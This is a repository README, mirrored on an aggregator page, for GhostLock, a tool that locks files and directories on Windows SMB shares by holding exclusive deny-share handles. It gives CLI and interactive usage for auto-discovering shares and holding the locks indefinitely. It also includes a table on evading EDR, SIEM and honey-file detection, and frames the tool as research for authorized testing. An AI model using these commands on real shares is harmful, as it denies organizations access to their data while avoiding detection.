GhostLock

KO | EN

gitlite — search

#react #ai #typescript #android #machine-learning #deep-learning #linux #nodejs #awesome #kubernetes #vue #security #mcp #ios

(★ 145)

SMB deny-share handle research tool. Lock files on an enterprise share with zero writes, zero encryption, and zero alerts in any behavioral defense. Standard user. One API call. No CVE.

GhostLock Latest Version Download

Download Latest Version (.zip)

// repository documentation

Was this content helpful?

★ 0 (0 ratings)

**SMB Deny-Share Handle Availability Research Tool**

[![Python](https://img.shields.io/badge/Python-3.9%2B-blue?style=flat-square&logo=python)](https://python.org)
[![Platform](https://img.shields.io/badge/Platform-Windows-informational?style=flat-square&logo=windows)](https://github.com/kimd155/ghostlock)
[![License](https://img.shields.io/badge/License-MIT-green?style=flat-square)](https://raw.githubusercontent.com/kimd155/GhostLock/main/LICENSE)
[![Use](https://img.shields.io/badge/Use-Authorized%20Only-red?style=flat-square)](https://github.com/kimd155/ghostlock)
[![Paper](https://img.shields.io/badge/Paper-Zenodo-orange?style=flat-square)](https://zenodo.org/records/20070064)
[![Site](https://img.shields.io/badge/Site-ghostlock.io-cyan?style=flat-square)](https://ghostlock.io)

*Ransomware-grade availability impact. Zero writes. Zero encryption. Zero traces in your SIEM.*

[**Research Site**](https://ghostlock.io) · [**Whitepaper (PDF)**](https://zenodo.org/records/20070064) · [**LinkedIn**](https://www.linkedin.com/in/kim-d-5b3114111/)

</div>

---

## Overview

GhostLock demonstrates that a low-privileged Windows domain user with standard read access to an SMB share can produce **ransomware-equivalent organizational availability impact** with zero writes, zero encryption, and zero signals in every behavioral defense the modern enterprise security stack deploys.

Two techniques, one primitive:

**v1 — File-level locking:** `CreateFileW` with `dwShareMode=0` across every file in a share. 32-thread parallel scanner. Hundreds of thousands of handles in minutes.

**v2 — Directory-level locking:** `CreateFileW` with `dwShareMode=0` and `FILE_FLAG_BACKUP_SEMANTICS` on a directory object. One handle. One API call. The entire folder becomes a namespace blackout over SMB.

**No CVE. No patch. No vulnerability.** Correct, documented Windows API behavior since Windows NT 3.1.

---

## Why This Changes Everything

| Detection Signal | Encryption Ransomware | GhostLock |
|---|---|---|
| Bulk write I/O | Detectable | **None** |
| File rename / new extension | Detectable | **None** |
| Honey file triggered | Write to canary | **Read-open only** |
| Behavioral AI (write rate) | Fires | **No writes** |
| EDR on endpoint | Shellcode / injection | **Looks like file indexer** |
| DLP / content inspection | Bulk read anomaly | **Indistinguishable from backup** |
| Network traffic anomaly | Bulk SMB writes | **Identical to Word opening a doc** |
| Storage session open-file count | Not relevant | **Only reliable signal** |

---

## v2 — Directory-Level Namespace Blackout

One handle on a directory subdirectory over SMB produces the following empirically confirmed results:

| Operation | Local NTFS | Over SMB |
|---|---|---|
| Rename file inside dir | **Blocked** | **Blocked** |
| **List directory contents** | Allowed | **Blocked** |
| **Recursive copy / backup** | Allowed | **Blocked** |
| Open directory object | **Blocked** | **Blocked** |

The SMB server enforces directory exclusivity at the namespace level. `Get-ChildItem`, Explorer browsing, backup agents, and search indexers all fail. The directory becomes operationally invisible. Individual files at known paths remain accessible — what is destroyed is **discoverability**.

---

## Requirements

- Windows 10 / Server 2016 or later
- Python 3.9+
- Domain user account with read access to the target share
- Sentinel file for v1 mode (see Safety)

No third-party packages. Pure Python stdlib.

---

## Installation

```powershell
git clone https://github.com/kimd155/ghostlock.git
cd ghostlock
```

---

## Usage

### Interactive Mode

```powershell
python ghostlock.py
```

```
  Select mode:

[1]  Manual path     — paste a UNC path and lock all files
  [2]  Auto-discover   — find shared folders on the network, pick which to lock
  [3]  Directory lock  — lock an entire directory with a single handle (v2)
  [q]  Quit
```

**Option 1** — file-level locking, 32-thread scanner, hundreds of thousands of handles:

```
  [?] Target UNC path  : \\fileserver\share\dept
  [+] 4,819 handles acquired
  [~] Holding ...   47s  |  4,819 files locked
```

**Option 2** — auto-discovers SMB shares, multi-select:

```
  [OK] \\server\finance    12 files visible
  [OK] \\server\projects   84 files visible
  Select : 1,2
```

**Option 3** — directory-level namespace blackout, one handle:

```
  [?] Target directory  : \\fileserver\share\finance
  [+] Exclusive directory handle acquired!
      Handle: 0x240
  [~] Holding ...   12s  |  directory locked
```

### CLI Mode

```powershell
# File-level, indefinite hold
python ghostlock.py "\\server\share\path" `
    --existing-folder --confirm-existing-lock --hold-indefinite

# Timed hold with victim simulation
python ghostlock.py "\\server\share\path" `
    --existing-folder --confirm-existing-lock `
    --locks 256 --hold-seconds 120 --victims 16
```

---

## Safety Mechanism

For file-level locking, a sentinel file must exist in the target directory:

```powershell
New-Item -ItemType File "\\server\share\targetfolder\.ghostlock_authorized"
```

Directory-level locking (option 3) does not require a sentinel — it acquires one handle on a path you explicitly provide.

---

## Output

```
GhostLock_PoC_report_YYYYMMDD_HHMMSS/
    lock_impact_result.json
    lock_impact_result.md
    ghostlock_cache.json
```

---

## Research

> **"GhostLock: SMB Deny-Share Handles as a Zero-Privilege Availability Weapon"**
> Kim Dvash, May 2026

**Read the full paper:** [zenodo.org/records/20070064](https://zenodo.org/records/20070064)

**Research site:** [ghostlock.io](https://ghostlock.io)

---

## Authorized Use Only

```
THIS TOOL IS FOR AUTHORIZED SECURITY TESTING AND RESEARCH ONLY.

Running GhostLock against any system or network without explicit
written authorization from the system owner is illegal and unethical.
```

---

## License

MIT — see [LICENSE](LICENSE)

---

**Kim Dvash** · [linkedin.com/in/kim-d-5b3114111](https://www.linkedin.com/in/kim-d-5b3114111/) · [ghostlock.io](https://ghostlock.io)

`dwShareMode = 0x00000000`

</div>

GhostLock

GhostLock Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

GhostLock

GhostLock Latest Version Download

Today's picks

Was this content helpful?

Recent Feedback

Download README